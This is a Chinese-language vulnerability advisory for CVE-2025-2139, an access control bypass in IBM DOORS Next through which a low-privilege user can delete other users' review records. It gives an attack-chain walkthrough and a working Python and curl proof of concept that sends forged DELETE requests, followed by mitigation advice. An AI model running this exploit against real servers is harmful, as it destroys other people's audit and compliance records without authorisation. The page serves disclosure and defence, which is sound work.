IPBUF安全漏洞报告
English
CVE-2025-2139 CVSS 3.5 低危

CVE-2025-2139 IBM DOORS Next 权限绕过漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-2139
漏洞类型
访问控制缺陷/权限绕过
CVSS评分
3.5 低危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IBM Engineering Requirements Management DOORS Next

相关标签

访问控制缺陷权限绕过IDORIBMDOORS Next需求管理客户端安全服务端安全低危漏洞CVSS-3.5

漏洞概述

CVE-2025-2139是IBM Engineering Requirements Management DOORS Next产品中的一个访问控制缺陷漏洞。该漏洞于2025年10月12日由IBM PSIRT团队([email protected])披露,CVSS 3.1评分为3.5分,属于低危级别。

IBM DOORS Next是IBM Engineering Lifecycle Management(ELM)解决方案中的核心需求管理工具,广泛应用于航空航天、国防、汽车、医疗器械等行业的复杂系统工程项目中,用于捕获、追踪、管理和分析需求及其变更。该工具支持团队协作进行需求评审、基线管理和追溯分析。

该漏洞的根本原因在于服务端安全机制仅通过客户端进行强制执行(client-side enforcement of server-side security),而非在服务端进行严格的权限校验。这意味着经过身份认证的网络用户可以通过绕过客户端的权限检查,删除属于其他用户的评审记录(reviews)。

根据CVSS向量分析,该漏洞的攻击向量为邻接网络(AV:A),攻击复杂度低(AC:L),需要低权限认证(PR:L),无需用户交互(UI:N)。在影响方面,该漏洞对机密性无影响(C:N),对完整性有低影响(I:L),对可用性无影响(A:N)。虽然评分较低,但在需要严格审计和合规追踪的企业环境中,未经授权删除评审记录可能导致需求追踪链断裂,影响项目合规性和审计追溯能力。

受影响的版本包括IBM DOORS Next 7.0.2、7.0.3和7.1。IBM已发布安全补丁修复此漏洞,建议受影响的用户尽快升级到修复版本。

技术细节

该漏洞的核心技术问题在于服务端安全策略的强制执行被错误地放置在客户端层。正常情况下,当用户尝试删除评审记录时,系统应当通过服务端的权限校验机制验证当前用户是否具有删除目标评审记录的权限。然而,在受影响版本中,这一校验逻辑仅在前端客户端(如Web浏览器的JavaScript代码)中进行实现,服务端未进行独立的权限验证。

攻击者可以利用浏览器开发者工具、代理工具(如Burp Suite、OWASP ZAP)或直接构造HTTP请求,绕过客户端的权限检查。具体利用方式包括:

1. 使用合法凭证登录DOORS Next系统,获取有效的会话认证信息。
2. 通过浏览器开发者工具或网络代理工具拦截正常的删除评审请求。
3. 修改请求参数(如评审记录的ID、所属用户标识等),将目标指向其他用户的评审记录。
4. 由于服务端未进行独立的权限校验,修改后的请求将被服务端接受并执行删除操作。

这种类型的漏洞属于典型的IDOR(Insecure Direct Object Reference,不安全的直接对象引用)或Broken Access Control(破坏的访问控制)类漏洞,是OWASP Top 10中常见的安全问题。

攻击链分析

STEP 1
步骤1:获取合法凭证
攻击者首先获取DOORS Next系统的合法用户凭证(低权限账号即可),通过正常的认证流程登录系统,获取有效的会话标识(JSESSIONID)和Jazz认证令牌。
STEP 2
步骤2:信息收集
攻击者通过系统API或界面浏览,识别目标用户(通常是项目管理员或重要干系人)的评审记录ID。评审记录可能包含敏感的项目决策和需求变更审批信息。
STEP 3
步骤3:拦截并修改请求
使用网络代理工具(如Burp Suite)拦截正常的删除请求,或者直接通过API调用构造DELETE请求,将目标评审记录的ID替换为其他用户的评审记录ID,绕过客户端JavaScript的权限检查。
STEP 4
步骤4:发送恶意请求
将修改后的HTTP DELETE请求发送到服务端。由于服务端未进行独立的权限校验,攻击者以自己的会话成功删除了属于其他用户的评审记录。
STEP 5
步骤5:影响评估
成功删除其他用户的评审记录后,可能导致需求追溯链断裂、项目审计记录丢失、合规性验证失败等后果。在严格监管的行业(如航空航天、医疗器械)中,这可能造成严重的合规风险。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-2139 PoC - IBM DOORS Next Review Deletion Access Control Bypass # This PoC demonstrates how to bypass client-side enforcement to delete reviews from other users import requests import json # Configuration TARGET_URL = "https://target-doors-next-server:9443" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate and obtain session session = requests.Session() session.verify = False # For testing purposes only # Login to obtain JAZZ authentication token login_url = f"{TARGET_URL}/jts/authenticated/identity" login_data = { "j_username": USERNAME, "j_password": PASSWORD } response = session.post( f"{TARGET_URL}/jts/authenticated/j_security_check", data=login_data ) # Get the authentication token from cookies auth_token = session.cookies.get("JSESSIONID") print(f"[+] Obtained session: {auth_token}") # Step 2: Enumerate target review IDs belonging to other users # Reviews can be found via the DOORS Next review API reviews_url = f"{TARGET_URL}/rm/reviews" headers = { "Accept": "application/json", "Jazz-Token": auth_token, "Content-Type": "application/json" } # Step 3: Attempt to delete a review belonging to another user # The review ID (e.g., "_abc123") belongs to a different user target_review_id = "_target_review_id_here" delete_url = f"{TARGET_URL}/rm/reviews/{target_review_id}" # Step 4: Send DELETE request - server fails to verify ownership # Client-side check is bypassed because we send the request directly response = session.delete( delete_url, headers=headers ) if response.status_code == 200 or response.status_code == 204: print(f"[+] Successfully deleted review {target_review_id} belonging to another user!") print(f"[+] Response: {response.status_code} - {response.text}") else: print(f"[-] Failed: {response.status_code} - {response.text}") # Alternative: Use curl to bypass client-side JavaScript validation # curl -X DELETE "https://target:9443/rm/reviews/_reviewId" \ # -H "Jazz-Token: <token>" \ # -H "Cookie: JSESSIONID=<session_id>"

影响范围

IBM Engineering Requirements Management DOORS Next 7.0.2
IBM Engineering Requirements Management DOORS Next 7.0.3
IBM Engineering Requirements Management DOORS Next 7.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过网络分段和防火墙规则限制对DOORS Next服务器的访问,仅允许可信网络中的用户访问;2)加强监控和审计日志记录,及时发现异常的评审删除操作;3)限制低权限用户的API访问权限;4)使用反向代理或API网关在服务端增加额外的权限校验层;5)定期审查评审记录的完整性,及时发现和恢复被非法删除的记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表